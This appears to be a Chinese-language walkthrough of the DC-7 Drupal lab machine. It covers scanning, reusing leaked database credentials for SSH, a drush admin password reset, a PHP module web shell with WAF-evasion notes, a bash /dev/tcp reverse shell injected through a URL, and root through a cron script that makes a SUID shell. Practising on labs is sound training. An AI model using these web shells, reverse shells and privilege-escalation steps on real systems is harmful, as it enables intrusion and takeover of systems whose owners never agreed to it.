端口扫描
22,80.
服务探测
Drupal 8内容管理框架。
在robots.txt有许多路径,但不是都能打开或有价值,翻了一遍后还是选择目录爆破。
目录爆破
gobuster dir -u http://192.168.30.159 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
http://192.168.30.159/core/install.php

收集到版本号Drupal 8.7.6。
http://192.168.30.159/INSTALL.txt

http://192.168.30.159/core/INSTALL.txt
然后没思路了,去看了wp。思路很正常,但对于靶机太离奇。
去寻找作者源码仓库。
https://github.com/Dc7User/staffdb/blob/master/config.php
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
登录ssh
dc7user
MdR3xOgB7#dW

发现有一个定时任务。
Pspy
https://github.com/DominicBreuker/pspy
pspy 是一款命令行工具,无需 root 权限即可监视进程。它允许您查看其他用户运行的命令、定时任务等的执行过程。非常适合在 CTF 比赛中枚举 Linux 系统。此外,它还能很好地向您的同事演示为什么在命令行中传递密钥参数是个糟糕的主意。

图中显示 /usr/sbin/exim4 -bd -q30m 正在运行。
exim4 在很多旧版本的 Debian/Ubuntu 靶机中是经典的提权点。如果是 4.87 到 4.91 之间,极大概率存在 CVE-2019-10149(The Return of the WIZard)。这是一个远程/本地代码执行漏洞,可以直接获取 Root 权限。

版本为4.89。可能存在漏洞。
exim4漏洞利用
https://github.com/Diefunction/CVE-2019-10149
nc -lvp 9000
python exploit.py --rhost 192.168.30.159 --rport 80 --lhost 192.168.30.131 --lport 9000
这里尝试了一下报错了。
Pspy进程

这里等了很久发现root用户定期执行。
/bin/bash /opt/scripts/backups.sh
如果可以修改backups.sh。

文件“backups.sh”可以被“www-data”用户访问。我们当前登录的用户“dc7user”无法修改它。“backups.sh”脚本运行了多行命令,其中就包括“drush”。我在谷歌上搜索了“drush”,发现它可以用来更改用户的密码。我们来试试。
drush改密码
https://www.howtoing.com/a-beginner-s-guide-to-drush-the-drupal-shell
这里有写一些drush基本语法。
drush user-password admin --password="new_pass"
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin 123456为我修改的密码。
drush user-password admin --password="123456"

前去登录后台。

成功登录管理员账号。登录后,我本想上传 PHP shell,但 CMS 上没有安装 PHP。所以,我为 Drupal 安装了 PHP。
Drupal安装php
编辑内容没有发现php code。

添加php。

https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

https://www.drupal.org/project/php/releases
尝试多个版本后这个可以成功。
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

php命令执行
勾选这里。翻到下面点击install。

提示该模块可以使用。

添加一个基本页。

文本类型选择php code。

测试
填入标题,和内容。
<?php phpinfo();?>
点击预览。


这里命令执行成功。
写入一句话木马
<?php @eval($_GET["code"])?> #失败
<?php @passthru($_GET['cmd'])?> # 成功
在编写 PHP 木马或进行渗透测试时,passthru() 常被用作 system() 的替代品,原因如下:
- 绕过 WAF/监控:很多简单的防火墙会重点监控
system和eval,使用passthru可能会绕过部分基于关键字的简单规则。 - 完整回显:在某些复杂的命令执行中,它能比
exec更直观地展示所有报错和输出信息。 - 获取二进制文件:攻击者可以用它直接读取目标服务器上的二进制文件(如
.exe或.so)并传输回来。

反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.30.131/4444 0>&1'
# url编码
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.30.131%2F4444%200%3E%261%27
# 注入
http://192.168.30.159/node/preview/a727c648-4792-4ca0-8f68-4a393dfd4b7c/full?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.30.131%2F4444%200%3E%261%27

修改脚本提权
cd /opt/scripts
echo "cp /bin/dash /tmp/dash;chmod u+s /tmp/dash">>backups.sh

cd /tmp
等待十五分钟,需要定时任务启动。
cat <<EOF > backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
cp /bin/dash /var/tmp/dash;chmod u+s /var/tmp/dash
EOF
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
cp /bin/dash /var/tmp/dash;chmod u+s /var/tmp/dash
